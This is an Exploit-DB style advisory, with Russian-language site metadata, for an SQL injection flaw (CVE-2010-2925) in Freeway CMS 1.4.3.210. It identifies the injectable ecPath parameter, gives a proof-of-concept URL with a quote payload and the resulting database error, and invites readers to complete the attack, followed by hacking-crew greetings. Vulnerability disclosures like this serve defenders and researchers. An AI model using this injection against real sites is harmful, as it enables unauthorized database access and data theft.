Exploit Freeway CMS 1.4.3.210 - SQL Injection

[Exploiter]

EDB-ID

14474

Проверка EDB

1. Пройдено

Автор

**ROAD_KILLER**

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2010-2925

Дата публикации

2010-07-26

-----------------------------------------------------------------------------------------
Freeway CMS 1.4.3.210 SQL Injection Vulnerability
-----------------------------------------------------------------------------------------

[+]Title              Freeway CMS 1.4.3.210 SQL Injection Vulnerability
[+]Author          **RoAd_KiLlEr**
[+]Contact        RoAd_KiLlEr[at]Khg-Crew[dot]Ws
[+]Tested on     Win Xp Sp 2/3
---------------------------------------------------------------------------
[~] Founded by **RoAd_KiLlEr**
[~] Team: Albanian Hacking Crew
[~] Contact: RoAd_KiLlEr[at]Khg-Crew[dot]Ws 
[~] Home: http://inj3ct0r.com
[~] Vendor: http://www.openfreeway.org
[~] Download: http://internode.dl.sourceforge.net/sourceforge/freeway-ecom/freeway_1_3_4_210.tar.gz
[~] Version:1.4.3.210
[~] Price : Free
==========ExPl0iT3d by **RoAd_KiLlEr**==========
[+] Description: Freeway is the most advanced Open Source eCommerce platform and includes an array of features not found in extremely expensive commercial systems. Without having to purchase a commercial system and then paying a developer to build custom installation, Freeway does most of what you need out of the box. For example, instead of getting dragged into purchasing an overpriced products based system and having a developer struggle for weeks and eventually fail to force products sales into event sales, Freeway already support events AND services AND subscriptions.
==========================================

[+] Dork: No DoRks For Script Kiddies

==========================================

[ I ].  SQL Vulnerability
=+=+=+=+=+=+=+=+=+

[P0C]:  http://127.0.0.1/path/index.php?ecPath=[SQL Injection]

[L!v3 D3m0]: http://www.site.com/register/index.php?ecPath='3

And we Got:  1054 - Unknown column 'e.events_status' in 'where clause'

select events_id, events_image from events where (e.events_status=1 or ( e.events_status=2 and e.sessions_start_date>=curdate()) or (e.events_status>=3 and e.sessions_end_date>=curdate())) and date_format(e.events_date_available,'%Y-%m-%d')<=curdate() order by events_date_added desc limit 4

Now you will be doing the Rest :P. Good Luck 

===========================================================================================
[!] Albanian Hacking Crew           
===========================================================================================
[!] **RoAd_KiLlEr**   
===========================================================================================
[!] MaiL: sukihack[at]gmail[dot]com
===========================================================================================
[!] Greetz To : Ton![w]indowS | X-n3t | b4cKd00r ~ | DarKHackeR. | The|DennY` | EaglE EyE | Lekosta | KHG | THE_1NV1S1BL3 & All Albanian/Kosova Hackers 
===========================================================================================
[!] Spec Th4nks:  r0073r  | indoushka from Dz-Ghost Team  | MaFFiTeRRoR | All  Inj3ct0r 31337 Members | And All My Friendz
===========================================================================================
[!] Red n'black i dress eagle on my chest
It's good to be an ALBANIAN
Keep my head up high for that flag I die
Im proud to be an ALBANIAN
===========================================================================================